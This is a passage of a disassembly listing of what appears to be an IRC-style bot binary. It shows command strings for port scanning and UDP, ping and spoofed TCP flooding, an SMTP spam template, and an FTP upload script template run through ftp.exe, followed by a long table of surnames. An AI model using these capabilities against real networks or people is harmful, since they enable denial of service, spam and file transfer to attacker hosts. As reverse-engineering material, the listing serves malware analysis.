XREF: seg000:0040515Eo dword_43F60C dd 54434101h, 204E4F49h, 17325hdword_43F618 dd 5D73255Bh, 25202A20h, 73252073h, 0aAdvscan db 'advscan',0 ; DATA XREF: seg000:00405187o aVv db 'vv',0 ; DATA XREF: seg000:0040519Eo align 4 aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0 ; DATA XREF: seg000:00405A16o align 10h aScanFailedToSt db '[SCAN]: Failed to start scan, port is invalid.',0 ; DATA XREF: seg000:00405B08o align 10h aScanFailedTo_0 db '[SCAN]: Failed to start scan, no IP specified.',0 ; DATA XREF: seg000:00405B65o align 10h aRandom_0 db 'Random',0 ; DATA XREF: seg000:00405CA3o align 4 aSequential db 'Sequential',0 ; DATA XREF: seg000:00405CAAo align 4 aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds ' ; DATA XREF: seg000:00405CD5o db 'for %d minutes using %d threads.',0 align 4 aScanFailedTo_1 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: seg000:00405D44o align 4 aUdpflood db 'udpflood',0 ; DATA XREF: seg000:004051B5o align 4 aPu db 'pu',0 ; DATA XREF: seg000:004051CCo align 4 aU: ; DATA XREF: seg000:004051E3o unicode 0, <u>,0 aUdpSendingDPac db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).' ; DATA XREF: seg000:00405976o db 0 align 4 aUdpFailedToSta db '[UDP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: seg000:004059E5o align 4 aPingflood db 'pingflood',0 ; DATA XREF: seg000:004051FAo align 4 aPing_1 db 'ping',0 ; DATA XREF: seg000:00405211o align 4 aP: ; DATA XREF: seg000:00405228o unicode 0, <p>,0 aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).' ; DATA XREF: seg000:0040582Fo db 0 align 4 aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: seg000:0040589Ao align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:004058AFo align 10h aTcpflood db 'tcpflood',0 ; DATA XREF: seg000:0040523Fo align 4 aUsa db 'usa',0 ; DATA XREF: seg000:00405256o aSyn db 'syn',0 ; DATA XREF: seg000:00405623o aAck db 'ack',0 ; DATA XREF: seg000:0040563Bo aRandom db 'random',0 ; DATA XREF: seg000:00405652o align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:004056F7o aNormal db 'Normal',0 ; DATA XREF: seg000:004056FEo align 10h aTcpSSFloodingS db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: seg000:0040570Eo align 10h aTcpFailedToSta db '[TCP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: seg000:00405788o align 4 aTcpInvalidFl_0 db '[TCP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: seg000:loc_405792o align 4 aTcpInvalidFloo db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: seg000:00405662o align 10h aEmail db 'email',0 ; DATA XREF: seg000:0040526Do align 4 asc_43F9A8: ; DATA XREF: seg000:004052B7o unicode 0, < >,0 a_: ; DATA XREF: seg000:004052BCo unicode 0, <_>,0 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:00405358o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmailMessageSe db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: seg000:004053CCo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: seg000:0040540Do aHcon db 'hcon',0 ; DATA XREF: seg000:00405424o align 4 aUpload db 'upload',0 ; DATA XREF: seg000:00405447o align 4 aFtpFileNotFoun db '[FTP]: File not found: %s.',0 ; DATA XREF: seg000:0040546Ao align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:004054F0o align 10h aAb db 'ab',0 ; DATA XREF: seg000:00405501o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:00405525o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSS_0 db '-s:%s',0 ; DATA XREF: seg000:00405545o align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040555Co aOpen_0 db 'open',0 ; DATA XREF: seg000:00405561o align 10h aFtpUploadingFi db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: seg000:00405573o align 4 aFtpUploading_0 db '[FTP]: Uploading file: %s to: %s failed.',0 ; DATA XREF: seg000:loc_40557Ao align 10h aReal db 'real',0 align 4 dd 0 dword_43FAFC dd 0 off_43FB00 dd offset sub_408654 ; DATA XREF: sub_408A38+49r aConst db 'const',0 align 10h dd 1, 4086C0h, 7474656Ch, 7265h, 0 dd 2, 40871Eh, 706D6F63h, 2 dup(0) dd 3, 40876Bh, 6E756F63h, 797274h, 0 dd 4, 408811h, 736Fh, 2 dup(0) dd 5, 408886h off_43FB68 dd offset aAbdulrazak ; DATA XREF: sub_408654+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_43FB74 dd offset aAddison ; DATA XREF: sub_408A38+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer_0 ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton_0 ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine_0 ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch_0 ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay_0 ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" 